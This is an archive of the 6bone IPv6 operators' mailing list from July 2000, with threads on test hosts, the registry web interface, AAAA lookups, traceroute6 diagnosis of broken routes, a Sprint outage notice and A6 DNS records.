From: Greg Maxwell  <gmaxwell@Martin.FL.US>
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To: Matt Crawford <crawdad@fnal.gov>
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Subject: Re: VoIPv6 
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On Wed, 5 Jul 2000, Matt Crawford wrote:

> > ATM overhead: 10.4%
> > IPv6 overhead: 26.6%
> 
> Completely irrelevant, since ATM doesn't go (hardly) anywhere.  If
> you're going to bury your own infrastructure, you might as well
> install a PBX at each site and do away with ATM as well.

I'm certantly not a fan of ATM, I'm just running the numbers. I stated a
simple fact: Many VoIP people are unhappy with header overhead. Someone
then countered that ATM was worse, and I simply pointed out that ATM is
not worse for this sort of application (low bandwidth, low latency).



From 6bone-owner  Mon Jul 10 07:40:54 2000
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From: Maria Cervantes <mariac@seciu.edu.uy>
To: 6bone@ISI.EDU
Subject: IPv6 SMTP test
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Hi, we have configured an IPv6 host with Linux Red Hat 6.2, sendmail
8.10.2 and a DNS server (Bind 8.2.2 ). Now we'd like to make an SMTP
connection with an IPv6 host.
Does anyone have a host accesible only via IPv6 with SMTP service enabled 
which we can connect to?
Thanks in advance.

-----------------------------------------------------------------------------
 Maria Cervantes   
 E-Mail :  mariac@seciu.edu.uy  
 Servicio Central de Informatica - RAU  
 Universidad de la Republica             
 Colonia 2066 - Montevideo - Uruguay     
 Tel    : (598)(2) 4083901.
-----------------------------------------------------------------------------


From 6bone-owner  Mon Jul 10 11:15:14 2000
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mail.ipv6.fibertel.com.ar (3ffe:3800:1::2) is IPv6 host with sendmail up and
running.

-------------------------------------------------------
Patricio S. Latini
Fibertel Network Operations Center
Operations Engineering
Buenos Aires - Argentina
Phone: +54 (11) 4778-6655
-------------------------------------------------------
----- Original Message -----
From: "Maria Cervantes" <mariac@seciu.edu.uy>
To: <6bone@ISI.EDU>
Sent: Monday, July 10, 2000 11:43 AM
Subject: IPv6 SMTP test


> Hi, we have configured an IPv6 host with Linux Red Hat 6.2, sendmail
> 8.10.2 and a DNS server (Bind 8.2.2 ). Now we'd like to make an SMTP
> connection with an IPv6 host.
> Does anyone have a host accesible only via IPv6 with SMTP service enabled
> which we can connect to?
> Thanks in advance.
>
> --------------------------------------------------------------------------
---
>  Maria Cervantes
>  E-Mail :  mariac@seciu.edu.uy
>  Servicio Central de Informatica - RAU
>  Universidad de la Republica
>  Colonia 2066 - Montevideo - Uruguay
>  Tel    : (598)(2) 4083901.
> --------------------------------------------------------------------------
---
>


From 6bone-owner  Mon Jul 10 11:53:00 2000
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Date: Mon, 10 Jul 2000 14:52:57 -0400 (EDT)
From: "William F. Maton" <wmaton@ryouko.dgim.crc.ca>
Reply-To: wmaton@ryouko.dgim.crc.ca
To: Maria Cervantes <mariac@seciu.edu.uy>
cc: 6bone@ISI.EDU
Subject: Re: IPv6 SMTP test
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On Mon, 10 Jul 2000, Maria Cervantes wrote:

> Hi, we have configured an IPv6 host with Linux Red Hat 6.2, sendmail
> 8.10.2 and a DNS server (Bind 8.2.2 ). Now we'd like to make an SMTP
> connection with an IPv6 host.
> Does anyone have a host accesible only via IPv6 with SMTP service enabled 
> which we can connect to?

prueba con root@ftp.ipv6.crc.ca

> Thanks in advance.
> 
> -----------------------------------------------------------------------------
>  Maria Cervantes   
>  E-Mail :  mariac@seciu.edu.uy  
>  Servicio Central de Informatica - RAU  
>  Universidad de la Republica             
>  Colonia 2066 - Montevideo - Uruguay     
>  Tel    : (598)(2) 4083901.
> -----------------------------------------------------------------------------
> 



wfms


From 6bone-owner  Mon Jul 10 20:36:09 2000
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Date: Mon, 10 Jul 2000 23:33:58 -0400
To: 6bone@ISI.EDU
From: Florent Parent <Florent.Parent@viagenie.qc.ca>
Subject: 6Bone registry web interface
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Folks,

You can now use the web interface to create/update/delete your 6Bone 
registry objects. Available at 
http://www.viagenie.qc.ca/en/ipv6/registry/index.shtml

Please send comments and bug reports to ipv6@viagenie.qc.ca

Florent. 


From 6bone-owner  Mon Jul 10 21:10:11 2000
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Date: Mon, 10 Jul 2000 21:10:53 -0700
To: Florent Parent <Florent.Parent@viagenie.qc.ca>, 6bone@ISI.EDU
From: Bob Fink <fink@es.net>
Subject: Re: 6Bone registry web interface
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Florent,

At 11:33 PM 7/10/2000 -0400, Florent Parent wrote:

>Folks,
>
>You can now use the web interface to create/update/delete your 6Bone 
>registry objects. Available at 
>http://www.viagenie.qc.ca/en/ipv6/registry/index.shtml
>
>Please send comments and bug reports to ipv6@viagenie.qc.ca


Excellent - this is a great improvement! Thanks to the Viagenie staff for 
doing this. Thanks to David Kessens for helping.

This link is now on the 6bone web page:

<http://www.6bone.net/>


Thanks again!

Bob


From 6bone-owner  Mon Jul 10 23:56:42 2000
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Date: Tue, 11 Jul 2000 10:55:40 +0200 (CEST)
From: Marc Picornell <marc@ipv6.net.eu.org>
To: "William F. Maton" <wmaton@ryouko.dgim.crc.ca>
cc: Maria Cervantes <mariac@seciu.edu.uy>, 6bone@ISI.EDU
Subject: Re: IPv6 SMTP test
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Hi, I should have one at the end of the week. Let me know if you want a
test account .

Regards,
Marc

On Mon, 10 Jul 2000, William F. Maton wrote:

> On Mon, 10 Jul 2000, Maria Cervantes wrote:
> 
> > Hi, we have configured an IPv6 host with Linux Red Hat 6.2, sendmail
> > 8.10.2 and a DNS server (Bind 8.2.2 ). Now we'd like to make an SMTP
> > connection with an IPv6 host.
> > Does anyone have a host accesible only via IPv6 with SMTP service enabled 
> > which we can connect to?
> 
> prueba con root@ftp.ipv6.crc.ca
> 
> > Thanks in advance.
> > 
> > -----------------------------------------------------------------------------
> >  Maria Cervantes   
> >  E-Mail :  mariac@seciu.edu.uy  
> >  Servicio Central de Informatica - RAU  
> >  Universidad de la Republica             
> >  Colonia 2066 - Montevideo - Uruguay     
> >  Tel    : (598)(2) 4083901.
> > -----------------------------------------------------------------------------
> > 
> 
> 
> 
> wfms
> 
> 


From 6bone-owner  Tue Jul 11 00:29:16 2000
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To: Bob Fink <fink@es.net>
cc: Florent Parent <Florent.Parent@viagenie.qc.ca>, 6bone@ISI.EDU
Subject: Re: 6Bone registry web interface
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On Mon, 10 Jul 2000, Bob Fink wrote:

> At 11:33 PM 7/10/2000 -0400, Florent Parent wrote:
> >
> >You can now use the web interface to create/update/delete your 6Bone 
> >registry objects. Available at 
> >http://www.viagenie.qc.ca/en/ipv6/registry/index.shtml
> 
> 
> Excellent - this is a great improvement! Thanks to the Viagenie staff for 
> doing this. Thanks to David Kessens for helping.

Now if someone could only find a way of weeding out all the dead
entries...  I've often thought, a good addition to the html-generator
would be to ping all the ``application ping 3ffe:...'' entries and
highlight them in red if they don't ping!

Pete.


From 6bone-owner  Tue Jul 11 05:11:30 2000
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From: "Jean-Louis Noel" <jln@stben.be>
To: "Patricio S. Latini" <platini@fibertel.com.ar>,
        "Maria Cervantes" <mariac@seciu.edu.uy>, <6bone@ISI.EDU>
References: <Pine.GSO.4.20.0007101101200.3237-100000@sarandi.seciu.edu.uy> <004c01bfea9a$9b9d8c80$1000e818@fibertel.com.ar>
Subject: Re: IPv6 SMTP test
Date: Tue, 11 Jul 2000 14:11:42 +0200
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Hello,

"Patricio S. Latini" <platini@fibertel.com.ar> wrote to "Maria Cervantes" <mariac@seciu.edu.uy>; <6bone@ISI.EDU>

> mail.ipv6.fibertel.com.ar (3ffe:3800:1::2) is IPv6 host with sendmail up and
> running.

==========
gethostbyname2: No address associated with name
==========

Bye,
Jean-Louis


From 6bone-owner  Tue Jul 11 06:12:52 2000
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From: "Patricio S. Latini" <platini@fibertel.com.ar>
To: "chuck yerkes" <chuck@snew.com>
Cc: "Maria Cervantes" <mariac@seciu.edu.uy>, <6bone@ISI.EDU>
References: <Pine.GSO.4.20.0007101101200.3237-100000@sarandi.seciu.edu.uy> <004c01bfea9a$9b9d8c80$1000e818@fibertel.com.ar> <20000711004435.A11873@kato.home.snew.com>
Subject: Re: IPv6 SMTP test
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yes sorry, you are right, i mistyped with the address it is
mail6.ipv6.fibertel.com.ar or 3ffe:3800:1::2

thanks

-------------------------------------------------------
Patricio S. Latini
Fibertel Network Operations Center
Operations Engineering
Buenos Aires - Argentina
Phone: +54 (11) 4778-6655
-------------------------------------------------------
----- Original Message -----
From: "chuck yerkes" <chuck@snew.com>
To: "Patricio S. Latini" <platini@fibertel.com.ar>
Cc: "Maria Cervantes" <mariac@seciu.edu.uy>; <6bone@ISI.EDU>
Sent: Tuesday, July 11, 2000 4:44 AM
Subject: Re: IPv6 SMTP test


> Quoting Patricio S. Latini (platini@fibertel.com.ar):
> > mail.ipv6.fibertel.com.ar (3ffe:3800:1::2) is IPv6 host with sendmail up
and
> > running.
>
> I believe that you likely mean "mail6.ipv6.fibertel.com.ar" rather
> than just mail.ipv6 ....


From 6bone-owner  Wed Jul 12 02:06:19 2000
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Date: 12 Jul 2000 10:57:35 +0200
From: TESSON OLIVIER BRX/FTLD <olivier.tesson@francetelecom.fr>
To: 6Bone <6bone@ISI.EDU>
Subject: Http Ipv6
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Hi,

I'm searching doc about an http server for IPv6. Is there somebody to help 
me?
Thanks !!!!

From 6bone-owner  Wed Jul 12 08:03:32 2000
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From: Bill Manning <bmanning@ISI.EDU>
Message-Id: <200007121504.IAA00472@boreas.isi.edu>
Subject: Re: 6Bone registry web interface
To: psb@ast.cam.ac.uk (Peter Bunclark)
Date: Wed, 12 Jul 100 08:04:22 -0700 (PDT)
Cc: fink@es.net, Florent.Parent@viagenie.qc.ca, 6bone@ISI.EDU
In-Reply-To: <Pine.GSO.4.10.10007110827050.7735-100000@cass18> from "Peter Bunclark" at Jul 11, 0 08:29:50 am
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% 
% 
% 
% On Mon, 10 Jul 2000, Bob Fink wrote:
% 
% > At 11:33 PM 7/10/2000 -0400, Florent Parent wrote:
% > >
% > >You can now use the web interface to create/update/delete your 6Bone 
% > >registry objects. Available at 
% > >http://www.viagenie.qc.ca/en/ipv6/registry/index.shtml
% > 
% > 
% > Excellent - this is a great improvement! Thanks to the Viagenie staff for 
% > doing this. Thanks to David Kessens for helping.
% 
% Now if someone could only find a way of weeding out all the dead
% entries...  I've often thought, a good addition to the html-generator
% would be to ping all the ``application ping 3ffe:...'' entries and
% highlight them in red if they don't ping!
% 
% Pete.

One way might be to see if the servers for the delegation(s) are answering and
authoritative.

--bill

From 6bone-owner  Wed Jul 12 08:44:29 2000
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Date: Wed, 12 Jul 2000 09:45:07 -0600 (MDT)
From: John Galt <galt@inconnu.isu.edu>
To: TESSON OLIVIER BRX/FTLD <olivier.tesson@francetelecom.fr>
cc: 6Bone <6bone@ISI.EDU>
Subject: Re: Http Ipv6
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I believe KAME has patched apache for v6, try www.kame.net for all of
their patched software...

On 12 Jul 2000, TESSON OLIVIER BRX/FTLD wrote:

> Hi,
> 
> I'm searching doc about an http server for IPv6. Is there somebody to help 
> me?
> Thanks !!!!
> 

-- 
There is an old saying that if a million monkeys typed on a million 
keyboards for a million years, eventually all the works of Shakespeare
would be produced.   Now, thanks to Usenet, we know this is not true.

Who is John Galt?  galt@inconnu.isu.edu, that's who!



From 6bone-owner  Wed Jul 12 22:21:56 2000
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From: Raja Azlina Raja Mahmood <ina@mimos.my>
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Subject: problem with www.cs-ipv6.lancs.ac.uk?? 
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i've successfully updated my database info via auto-dbm@whois.6bone.net
yesterday.   However, when i checked the related page, 
"http://www.cs-ipv6.lancs.ac.uk/ipv6/6Bone/Whois/MIMOS-MY.html", it hasn't
been updated yet.

I'm just wondering if someone knows just how long does it take to see the
changes? Thanks.

p/s: I've emailed this problem to "ipv6@comp.lancs.ac.uk" but 
     no response yet.

regards,
-azlina



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Date: 13 Jul 2000 10:28:12 +0200
From: TESSON OLIVIER BRX/FTLD <olivier.tesson@francetelecom.fr>
To: 6Bone <6bone@ISI.EDU>
Subject: recherche d'adresses
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Avez vous des adresses IPV6 reliées au 6bone sur les quelles je pourrai 
faire des tests de ping6 et traceroute6... ?
Merci d'avance!

From 6bone-owner  Thu Jul 13 01:29:16 2000
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Date: Thu, 13 Jul 2000 10:29:51 +0200 (MET DST)
From: Xavier Mertens <xavier@euro.net>
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Olivier,

We run a Apache patched for IPv6 support on www.ipv6.euronet.be.
(src & rpm available)

X

--
Xavier Mertens,         .  .   EuroNet Internet  "Contrary to popular belief, 
NOC Manager          .      *  a subsidiary of    Unix is userfriendly. It
XM3-RIPE XM1-6BONE  .          France Telecom     just happens to be selective
                                                  about who it makes friends
                                                  with."

On 12 Jul 2000, TESSON OLIVIER BRX/FTLD wrote:

> Hi,
> 
> I'm searching doc about an http server for IPv6. Is there somebody to help 
> me?
> Thanks !!!!
> 


From 6bone-owner  Thu Jul 13 02:33:36 2000
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Date: 13 Jul 2000 11:32:22 +0200
From: TESSON OLIVIER BRX/FTLD <olivier.tesson@francetelecom.fr>
To: 6Bone <6bone@ISI.EDU>
Subject: Client ftp et serveur
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Hi !

Encore moi,
quelqu'un saurait il s'il existe des clients-serveurs ftp et telnet (IPv6) 
pour une station Debian GNU/Linux 2.2 ?
Merci!


Me again,
Is there any ftp (IPv6) clients and servers and telnet for Debian GNU/Linux 
2.2 ?

From 6bone-owner  Thu Jul 13 03:35:08 2000
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Try cadsa.ast.ipv6.cam.ac.uk

Pete.

On 13 Jul 2000, TESSON OLIVIER BRX/FTLD wrote:

> Avez vous des adresses IPV6 reliées au 6bone sur les quelles je pourrai 
> faire des tests de ping6 et traceroute6... ?
> Merci d'avance!
> 


From 6bone-owner  Thu Jul 13 04:44:08 2000
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CC: 6Bone <6bone@ISI.EDU>
Subject: Re: recherche d'adresses
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TESSON OLIVIER BRX/FTLD wrote:
> 
> Avez vous des adresses IPV6 reliées au 6bone sur les quelles je pourrai
> faire des tests de ping6 et traceroute6... ?
> Merci d'avance!

housley@baby:~ {3} ping6 www.ipv6.thehousleys.net
PING6(56=40+8+8 bytes) 3ffe:1ce3:6:0:1::18 --> 3ffe:1ce3:6:0:1::a
16 bytes from 3ffe:1ce3:6:0:1::a, icmp_seq=0 hlim=64 time=0.36 ms
16 bytes from 3ffe:1ce3:6:0:1::a, icmp_seq=1 hlim=64 time=0.3 ms
16 bytes from 3ffe:1ce3:6:0:1::a, icmp_seq=2 hlim=64 time=0.321 ms


Jim
-- 
"...there's no idea that's so good you can't 
    ruin it with a few well-placed idiots." 
    -- Charles Spickman

From 6bone-owner  Thu Jul 13 12:13:40 2000
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Hi!
Anyone know where I can find an nslookup that supports v6 (linux x86 /
source)? Having some trouble finding it...

//Niklas


From 6bone-owner  Thu Jul 13 16:04:24 2000
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In-Reply-To: <Pine.LNX.4.21.0007131913210.29760-100000@celga.iponax.com> from "=?iso-8859-1?Q?Niklas_H=F6glund?=" at Jul 13, 2000 07:14:26 PM
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% Hi!
% Anyone know where I can find an nslookup that supports v6 (linux x86 /
% source)? Having some trouble finding it...
% 
% //Niklas


instead of nslookup, dig is your friend.  check the latest bindv9 rc
distribution. 

-- 
--bill

From 6bone-owner  Sun Jul 16 23:35:10 2000
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To: "Niklas H glund" <Niklas@hoglund.pp.se>, <6bone@ISI.EDU>
Subject: Re: nslookup6
Date: Mon, 17 Jul 2000 16:35:30 +1000
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>Hi!
>Anyone know where I can find an nslookup that supports v6 (linux x86 /
>source)? Having some trouble finding it...
>

This may not be of much help, depending on what you want to do, but I've
been able to do the following to return an IPv6 address:

nslookup -query=aaaa <ipv6 hostname>
and also -
host -t aaaa <ipv6 hostname>

Regards,

Steve.


From 6bone-owner  Sun Jul 23 09:54:17 2000
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Date: Sun, 23 Jul 2000 12:54:47 -0400 (EDT)
From: Jason <jslagle@toledolink.com>
To: 6bone@ISI.EDU
Subject: Fr0ken routes?
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bash-2.03$ traceroute6 www.kame.net
traceroute to kame212.kame.net (3ffe:501:4819:2000:5054:ff:fedc:50d2), 30
hops max, 12 byte packets
 1  ipv6  3.148 ms *  2.748 ms
 2  3ffe:1cff:0:f3::1  39.249 ms  30.795 ms  30.747 ms
 3  3ffe:1cff:0:ee::2  73.608 ms *  72.616 ms
 4  * vbns-uunetusgw62-tun2.ash.vbns.net  214.749 ms *
 5  vbns-fibertel.dng.vbns.net  775.229 ms  781.812 ms  798.044 ms
 6  * * *
 7  *

Wondering is anyone know who's fault this is :D

Jason

---
Jason Slagle - CCNA - CCDA
Network Administrator - Toledo Internet Access - Toledo Ohio
- raistlin@tacorp.net - jslagle@toledolink.com - WHOIS JS10172
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From 6bone-owner  Sun Jul 23 16:01:19 2000
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From: Marcelo Sosa Lugones <marcelo@sosa.com.ar>
To: Jason <jslagle@toledolink.com>
cc: 6bone@ISI.EDU
Subject: Re: Fr0ken routes?
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Hello,

> bash-2.03$ traceroute6 www.kame.net
>  5  vbns-fibertel.dng.vbns.net  775.229 ms  781.812 ms  798.044 ms
>  6  * * *

I dunno why fibertel is on the trace. As a downlink from fibertel, i made
a traceroute and i had no problem to reach kame.net (a bit slow,
but...) :)

C:\IPV6KIT>tracert6 www.kame.net

Tracing route to kame212.kame.net [3ffe:501:4819:2000:5054:ff:fedc:50d2]
over a maximum of 30 hops:

  1    <1 ms    <1 ms    <1 ms  router.ipv6.centauri.com.ar [3ffe:38e0::1]
  2  1431 ms  1389 ms  1610 ms  fibertel-netverk.ipv6.fibertel.com.ar [3ffe:3800::3:1]
  3  1926 ms  2180 ms  1880 ms  vbns-fibertel.dng.vbns.net [3ffe:28ff:ffff:2::106]
  4     *        *        *     Request timed out.
  5  2248 ms  2363 ms  2726 ms  pc7.otemachi.wide.ad.jp [3ffe:501:0:1802:2e0:18ff:fe98:a28d]
  6     *     2745 ms  2560 ms  pc3.nezu.wide.ad.jp [3ffe:501:0:1c01:200:f8ff:fe03:d9c0]
  7  2356 ms  2549 ms     *     paradise.v6.kame.net [3ffe:501:4819:2000:2e0:18ff:fe98:f19d]
  8  2306 ms  2599 ms  2480 ms  3ffe:501:4819:2000:5054:ff:fedc:50d2
Trace complete.

Also, the AS-Path from here is 10318-145-7580-2500, last updated yesterday night.

And now a question: is there any map with the most importants part of the
6bone? i mean, somewhere to look for tunnels.

Thanks,
Marcelo.


From 6bone-owner  Sun Jul 23 17:04:40 2000
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To: Jason <jslagle@toledolink.com>
Cc: 6bone@ISI.EDU
Subject: Re: Fr0ken routes?
In-Reply-To: Jason's message of Sun, 23 July 2000 12:54:47 -0400 <Pine.BSI.4.21.0007231254250.8903-100000@glass.toledolink.com>
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Jason <jslagle@toledolink.com> said:
> bash-2.03$ traceroute6 www.kame.net
> traceroute to kame212.kame.net (3ffe:501:4819:2000:5054:ff:fedc:50d2), 30
> hops max, 12 byte packets
>  1  ipv6  3.148 ms *  2.748 ms
>  2  3ffe:1cff:0:f3::1  39.249 ms  30.795 ms  30.747 ms
>  3  3ffe:1cff:0:ee::2  73.608 ms *  72.616 ms
>  4  * vbns-uunetusgw62-tun2.ash.vbns.net  214.749 ms *
>  5  vbns-fibertel.dng.vbns.net  775.229 ms  781.812 ms  798.044 ms
>  6  * * *
>  7  *

> Wondering is anyone know who's fault this is :D

  Hmm.  I'm not sure what's going on there.  I can get there alright
from one of my IPv6 routers (one of which is hop #3 in your
traceroute), but not the other (which is the one connected to hop #4
in your traceroute).

  I'm not totally sure why hop 3 hits hop 4, but it's probabaly just
an addressing issue.  (vbns-uunetusgw61-tun1.ash.vbns.net is the
address connected to the box listed in hop #3)  a matter of which
address shows up from your point of view...

  I think it looks alright from my end, it just gets into VBNS and
doesn't seem to be acting normally.  I'll let them speak up.  If
there's anything I'm doing wrong, I presume they'll tell me.  :-)

                               - Chris

--
Chris P. Ross				UUNET Technologies, Inc.
cross@eng.us.uu.net			R & D / Engineering
cross@uu.net

From 6bone-owner  Mon Jul 24 02:20:07 2000
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Date: Mon, 24 Jul 2000 11:17:39 +0200
From: Rene Mayrhofer <rene.mayrhofer@vianova.at>
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Subject: Can't connect to ftp.ipv6.nl
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Hi all

I have problems connecting to ftp.ipv6.nl. My upstream is Uni Münster and I have
no problems with other sites (e.g. www.6bone.net). What is wrong here ?

traceroute6 ftp.ipv6.nl
traceroute6 to ftp.ipv6.nl (3ffe:604:5:0:4::1) from
3ffe:400:1020:1:200:21ff:fed2:186e, 30 hops max, 16 byte packets
 1  pluto.ip6.vianova.at (3ffe:400:1020:1::)  0.525 ms  0.51 ms  0.441 ms
 2  vnserv.ip6.vianova.at (3ffe:400:1020::)  911.623 ms  1037.44 ms  1571.31 ms
 3  6bone.ipv6.uni-muenster.de (3ffe:401::2c0:33ff:fe02:14)  1227.66 ms  2086.76
ms  707.038 ms
 4  tun-JOIN-l.ipv6.fsz.bme.hu (3ffe:2f00:10::9)  2271.05 ms  522.607 ms *
 5  3ffe:600:8000:8::4d (3ffe:600:8000:8::4d)  1058.6 ms *
ir4.Amsterdam.surf.net (3ffe:600:8000::29)  2265.72 ms
 6  * * *
 7  * * *
 8  * * *
 9  * * *
10  * * *
11  * * *
12  * * * 
......

The problem persists since a few weeks I think.

best greets,
Rene Mayrhofer

From 6bone-owner  Mon Jul 24 02:49:57 2000
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Date: Mon, 24 Jul 2000 11:59:03 +0200 (CEST)
From: Ronald van der Pol <Ronald.vanderPol@surfnet.nl>
To: Rene Mayrhofer <rene.mayrhofer@vianova.at>
cc: 6bone@ISI.EDU
Subject: Re: Can't connect to ftp.ipv6.nl
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On Mon, 24 Jul 2000, Rene Mayrhofer wrote:

> traceroute6 ftp.ipv6.nl
> traceroute6 to ftp.ipv6.nl (3ffe:604:5:0:4::1) from
> 3ffe:400:1020:1:200:21ff:fed2:186e, 30 hops max, 16 byte packets
>  1  pluto.ip6.vianova.at (3ffe:400:1020:1::)  0.525 ms  0.51 ms  0.441 ms
>  2  vnserv.ip6.vianova.at (3ffe:400:1020::)  911.623 ms  1037.44 ms  1571.31 ms
>  3  6bone.ipv6.uni-muenster.de (3ffe:401::2c0:33ff:fe02:14)  1227.66 ms  2086.76
> ms  707.038 ms
>  4  tun-JOIN-l.ipv6.fsz.bme.hu (3ffe:2f00:10::9)  2271.05 ms  522.607 ms *
>  5  3ffe:600:8000:8::4d (3ffe:600:8000:8::4d)  1058.6 ms *
> ir4.Amsterdam.surf.net (3ffe:600:8000::29)  2265.72 ms
>  6  * * *
>  7  * * *

Hmm, there is a IPv6 over IPv4 tunnel to 195.64.77.162, but:

ir4.amsterdam#traceroute 195.64.77.162

Type escape sequence to abort.
Tracing the route to Amsterdam3-e0.cistron.net (195.64.77.162)

  1 AR1.Amsterdam.surf.net (192.87.106.11) 4 msec 0 msec 0 msec
  2 BR4.Amsterdam.surf.net (145.41.7.86) 0 msec 0 msec 0 msec
  3 Amsterdam1.cistron.net (193.148.15.52) 0 msec 4 msec 4 msec
  4  *  *  * 

I will contact the guys at Cistron.

	rvdp


From 6bone-owner  Mon Jul 24 07:34:31 2000
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PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT08L0ZPTlQ+PC9ESVY+PC9CT0RZPjwv
SFRNTD4NCg==

------=_NextPart_000_0184_01BFF584.F7FACC00--


From 6bone-owner  Tue Jul 25 06:12:43 2000
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Date: Tue, 25 Jul 2000 09:13:43 -0400 (EDT)
From: Alec Aakesson <aakesson@ISI.EDU>
To: 6bone@ISI.EDU
Subject: pim6sd
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Hi,
I would like to get more information on useing pim6sd.  Would someone
please point me to some information, other then the man page.

Thanks for the help,
Alec

________________________________________________________________________
Alexander S. Aakesson					aakesson@isi.edu

University of Southern California			703.812.3724
Information Sciences Institute.


From 6bone-owner  Tue Jul 25 08:15:41 2000
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From: "Robert J. Rockell" <rrockell@sprint.net>
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Subject: dns question
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who is the authoritative person to write to for IPv6 DNS problems at the
v6 root servers?  

Thanks
Rob Rockell
Sprintlink Internet Service Center
Operations Engineering, 
703-689-6322
1-800-724-3329, PIN 385-8833


From 6bone-owner  Tue Jul 25 08:37:54 2000
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To: "Robert J. Rockell" <rrockell@sprint.net>
Cc: 6bone@ISI.EDU
From: "Matt Crawford" <crawdad@fnal.gov>
Subject: Re: dns question 
In-reply-to: Your message of Tue, 25 Jul 2000 11:16:18 EDT.
             <Pine.GSO.4.21.0007251114460.6619-100000@iscone> 
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> who is the authoritative person to write to for IPv6 DNS problems at the
> v6 root servers?  

Could you define "the v6 root servers"?  Do you mean the servers for
ip6.int, soon to be augmented by ip6.arpa?

From 6bone-owner  Tue Jul 25 09:52:39 2000
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cc: 6bone@ISI.EDU
Subject: Re: dns question 
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for the record, I meant the former. Thanks for the quick responses.

Thanks
Rob Rockell
Sprintlink Internet Service Center
Operations Engineering, 
703-689-6322
1-800-724-3329, PIN 385-8833

On Tue, 25 Jul 2000, Stephen Stuart wrote:

->> who is the authoritative person to write to for IPv6 DNS problems at the
->> v6 root servers?  
->
->If you mean "at the root of the ip6.int hierarchy," that would be Bill
->Manning <bmanning@isi.edu>. 
->
->If you mean that there are V6-capable machines out there
->being authoritative for ".", I'm intrigued. Hopefully you meant the
->former?
->
->Stephen
->


From 6bone-owner  Tue Jul 25 11:55:30 2000
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Message-ID: <023f01bff669$c06affe0$1000e818@fibertel.com.ar>
From: "Patricio S. Latini" <platini@fibertel.com.ar>
To: <6bone@ISI.EDU>
References: <Pine.GSO.4.21.0007251114460.6619-100000@iscone>
Subject: Re: dns question
Date: Tue, 25 Jul 2000 15:54:24 -0300
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is there any v6 native root server up&running at this moment??
what is its IPv6 address??

Thanks

-------------------------------------------------------
Patricio S. Latini
Fibertel Network Operations Center
Operations Engineering
Buenos Aires - Argentina
Phone: +54 (11) 4778-6655
--------------------------------------------------------
---- Original Message ----- 
From: "Robert J. Rockell" <rrockell@sprint.net>
To: <6bone@ISI.EDU>
Sent: Tuesday, July 25, 2000 12:16 PM
Subject: dns question


> who is the authoritative person to write to for IPv6 DNS problems at the
> v6 root servers?  
> 
> Thanks
> Rob Rockell
> Sprintlink Internet Service Center
> Operations Engineering, 
> 703-689-6322
> 1-800-724-3329, PIN 385-8833
> 


From 6bone-owner  Tue Jul 25 15:36:34 2000
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Subject: Re: dns question
To: platini@fibertel.com.ar (Patricio S. Latini)
Date: Tue, 25 Jul 2000 08:39:18 -0700 (PDT)
Cc: 6bone@ISI.EDU
In-Reply-To: <023f01bff669$c06affe0$1000e818@fibertel.com.ar> from "Patricio S. Latini" at Jul 25, 2000 03:54:24 PM
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 No.
	There is a native IPv6 root server testbed.


% 
% is there any v6 native root server up&running at this moment??
% what is its IPv6 address??
% 
% Thanks
% 
% -------------------------------------------------------
% Patricio S. Latini
% Fibertel Network Operations Center
% Operations Engineering
% Buenos Aires - Argentina
% Phone: +54 (11) 4778-6655
% --------------------------------------------------------
% ---- Original Message ----- 
% From: "Robert J. Rockell" <rrockell@sprint.net>
% To: <6bone@ISI.EDU>
% Sent: Tuesday, July 25, 2000 12:16 PM
% Subject: dns question
% 
% 
% > who is the authoritative person to write to for IPv6 DNS problems at the
% > v6 root servers?  
% > 
% > Thanks
% > Rob Rockell
% > Sprintlink Internet Service Center
% > Operations Engineering, 
% > 703-689-6322
% > 1-800-724-3329, PIN 385-8833
% > 
% 
% 


-- 
--bill

From 6bone-owner  Wed Jul 26 02:59:07 2000
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Date: Wed, 26 Jul 2000 05:59:46 -0400 (EDT)
From: Alec Aakesson <aakesson@ISI.EDU>
To: itojun@iijlab.net
cc: Alec Aakesson <aakesson@ISI.EDU>, 6bone@ISI.EDU
Subject: Re: pim6sd
In-Reply-To: <5595.964572122@coconut.itojun.org>
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Sorry about that.
FreeBSD-3.4-STABLE and KAME.v6

--Alec

________________________________________________________________________
Alexander S. Aakesson					aakesson@isi.edu

University of Southern California			703.812.3724
Information Sciences Institute.

On Wed, 26 Jul 2000 itojun@iijlab.net wrote:

> 
> >Hi,
> >I would like to get more information on useing pim6sd.  Would someone
> >please point me to some information, other then the man page.
> 
> 	which operating system do you mean?
> 
> itojun
> 


From 6bone-owner  Wed Jul 26 07:57:30 2000
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From: "Robert J. Rockell" <rrockell@sprint.net>
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To: 6bone@ISI.EDU
Subject: SPrint IPv6 outage
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Sprint (3ffe:2900::/24) is currently experiencing a 6bone outage.  All
customers directly connected to sprint's IPv6 service  will have trouble 
routing out to the 6bone.  Estimated time of repair is 2 hours.  Sorry for
the trouble.


Thanks
Rob Rockell
Sprintlink Internet Service Center
Operations Engineering, 
703-689-6322
1-800-724-3329, PIN 385-8833


From 6bone-owner  Wed Jul 26 11:18:56 2000
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Date: Wed, 26 Jul 2000 14:19:40 -0400 (EDT)
From: "Robert J. Rockell" <rrockell@sprint.net>
X-Sender: rrockell@iscone
To: 6bone@ISI.EDU
Subject: Re: SPrint IPv6 outage
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Outage fixed 11:30 EDT.

Thanks
Rob Rockell
Sprintlink Internet Service Center
Operations Engineering, 
703-689-6322
1-800-724-3329, PIN 385-8833

On Wed, 26 Jul 2000, Robert J. Rockell wrote:

->Sprint (3ffe:2900::/24) is currently experiencing a 6bone outage.  All
->customers directly connected to sprint's IPv6 service  will have trouble 
->routing out to the 6bone.  Estimated time of repair is 2 hours.  Sorry for
->the trouble.
->
->
->Thanks
->Rob Rockell
->Sprintlink Internet Service Center
->Operations Engineering, 
->703-689-6322
->1-800-724-3329, PIN 385-8833
->


From 6bone-owner  Thu Jul 27 00:18:39 2000
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Date: Thu, 27 Jul 2000 09:19:31 +0200 (MET DST)
Organization: Westfaelische Wilhelms-Universitaet
From: JOIN Project Team <ipng@uni-muenster.de>
To: 6bone@ISI.EDU
Subject: DNS A6 chains
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Status: RO



I want to setup A6 chains for us and our leaf sites. I was wondering 
if the 6bone's nameserver is capable of resolving A6 records, so I could 
add a proper referral to 6bone.net or somewhere else? Something like this:

$ORIGIN ip6.join.uni-muenster.de 
leafsite0100    IN      A6      24      0:0:100::       join.ip6.6bone.net.

,while 6bone's nameserver would respond with the first 24 bit of JOIN's
assigned prefix 3ffe:400:: if queried for join.ip6.6bone.net. 

Are such references possible now or in the near future? 

Thanks,
    Christian

-- 
JOIN -- IP Version 6 in the WiN   Christian Schild
                  A DFN project   Westfaelische Wilhelms-Universitaet Muenster
